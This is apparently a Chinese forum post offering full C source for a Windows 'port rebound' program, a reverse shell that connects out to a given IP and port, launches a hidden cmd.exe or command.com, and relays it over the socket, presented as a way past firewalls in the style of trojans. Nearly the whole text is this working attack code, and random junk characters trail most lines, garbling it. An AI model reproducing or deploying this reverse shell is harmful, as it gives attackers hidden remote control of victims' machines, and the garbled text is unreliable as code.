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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 X[H.t$w5A  
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/* ============================== K@%T5M4j  
Rebound port in Windows NT km5gO|V>m  
By wind,2006/7 SqRM*Cf=  
===============================*/ 8v8-5N  
#include -!qjBK,`X  
#include NIQ}+xpC  
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#pragma comment(lib,"wsock32.lib") ("j;VqYUL  
5lP8#O?=  
void OutputShell(); N~IAm:G}[  
SOCKET sClient; &{glwVKV  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; Pi |Z\j)  
htL1aQ.  
void main(int argc,char **argv) "(p/3qFY  
{ s5+;8u9K  
WSADATA stWsaData; oQV3  
int nRet; ,30lu a  
SOCKADDR_IN stSaiClient,stSaiServer; vO~w~u5  
Rr CG(Bh  
if(argc != 3) IBeorDIZ  
{ YcwDNsk  
printf("Useage:\n\rRebound DestIP DestPort\n"); 9W\"A$;+&  
return; T+EwC)Ll  
} 0<uLQVoR2n  
pM+9K:^B  
WSAStartup(MAKEWORD(2,2),&stWsaData); =-/'$7R,  
{dxl8~/I  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); iRkUL]H@&  
n{L^W5B  
stSaiClient.sin_family = AF_INET; v@SHR0  
stSaiClient.sin_port = htons(0); .bP8Z =  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); K;rgLj0m  
dZf1iFCP  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) GYb&'#F~t  
{ O/ItN5B ;  
printf("Bind Socket Failed!\n"); _=`DzudE  
return; Uf7ACv)Dn  
} _%Xp2`m  
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stSaiServer.sin_family = AF_INET; {{_v.d~1  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); RFFbS{U*  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); %O#zE-H"  
)p;t '*]  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) "K9[P :nw  
{ [bX ^_ Y  
printf("Connect Error!"); dyf>T}Iy  
return; V6_":L"!  
} >?ar  
OutputShell();  q"T?  
} )F&.0 '  
nVgvn2N/  
void OutputShell() +_*NY~  
{ &J|I&p   
char szBuff[1024]; h@1/  
SECURITY_ATTRIBUTES stSecurityAttributes; =L1%gQJJ&  
OSVERSIONINFO stOsversionInfo; )!E:  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; L;vglS=l;  
STARTUPINFO stStartupInfo; cmU0=js.  
char *szShell; BQ[R)o  
PROCESS_INFORMATION stProcessInformation; `W_&^>yl  
unsigned long lBytesRead; 9ei'oZ  
\h s7>5O^K  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); -}sMOy`  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); $0P16ZlPC  
stSecurityAttributes.lpSecurityDescriptor = 0; D$H&^,?N  
stSecurityAttributes.bInheritHandle = TRUE; %x@bP6d[  
Eul3 {+]  
s 72yu}  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); &FOq c  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); /y4A?*w6  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); NJd4( P  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; VyYrL]OrA  
stStartupInfo.wShowWindow = SW_HIDE; $6 Hf[(/e  
stStartupInfo.hStdInput = hReadPipe; t.RDS2N|  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; c2 :,  
}QQl.'  
GetVersionEx(&stOsversionInfo); ~l] w=[ z  
{6Nbar@3  
switch(stOsversionInfo.dwPlatformId) L7GNcV]c  
{ /u9 0)x  
case 1: (vi^ t{k  
szShell = "command.com"; tBZ?UAe;  
break; lFIaC}  
default: N M),2%<  
szShell = "cmd.exe"; >j ].`T  
break; <?L5bhq  
} IN#/~[W  
z(O*DwY#  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); )g $T%  
XH*(zTd(?  
send(sClient,szMsg,77,0); 1>OU~A"  
while(1) U61 LMH  
{ Zm++5b`W/[  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); [h' 22 W  
if(lBytesRead) b">"NvlB  
{ AA ~7"2e  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 47*2QL^zj  
send(sClient,szBuff,lBytesRead,0); E#tfCM6  
} vZS/? pU~~  
else ;"EDFH#W  
{ SJLs3iz_)  
lBytesRead=recv(sClient,szBuff,1024,0); P92pQ_W  
if(lBytesRead<=0) break; =F/R*5:T  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); \}=W*xxB  
} fMW=ss^fu-  
} n4XkhY|  
s-x1<+E(  
return; -H[@]Q4w  
}
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